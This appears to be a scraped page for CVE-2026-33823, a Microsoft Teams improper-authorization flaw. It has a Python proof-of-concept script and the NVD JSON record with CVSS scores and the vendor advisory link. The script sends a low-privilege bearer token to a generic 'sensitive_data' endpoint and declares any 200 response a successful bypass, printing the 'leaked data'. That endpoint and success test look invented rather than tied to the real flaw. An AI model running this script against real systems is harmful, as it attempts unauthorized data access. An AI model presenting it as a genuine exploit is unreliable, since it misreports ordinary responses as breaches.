CVE-2026-33823

# PoC for CVE-2026-33823 - Conceptual Authorization Bypass # This script demonstrates how a low-privilege user might attempt to access unauthorized data. import requests def poc_exploit(target_url, access_token): """ Attempts to access sensitive information using a low-privilege token. """ headers = { "Authorization": f"Bearer {access_token}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json" } # Endpoint that should be restricted but is vulnerable due to improper auth sensitive_endpoint = f"{target_url}/api/v1.0/sensitive_data" try: response = requests.get(sensitive_endpoint, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit Successful! Authorization Bypass detected.") print(f"[+] Leaked Data: {response.text}") return True else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {str(e)}") return False if __name__ == "__main__": # Example usage target = "https://teams.example.com" token = "<LOW_PRIVILEGE_TOKEN>" poc_exploit(target, token)

{"cve": {"id": "CVE-2026-33823", "sourceIdentifier": "[email protected]", "published": "2026-05-07T22:16:34.283", "lastModified": "2026-05-08T19:58:39.137", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper authorization in Microsoft Teams allows an authorized attacker to disclose information over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:teams:-:*:*:*:*:*:*:*", "matchCriteriaId": "52B85963-34CA-49A1-B59A-6005DF151CB0"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}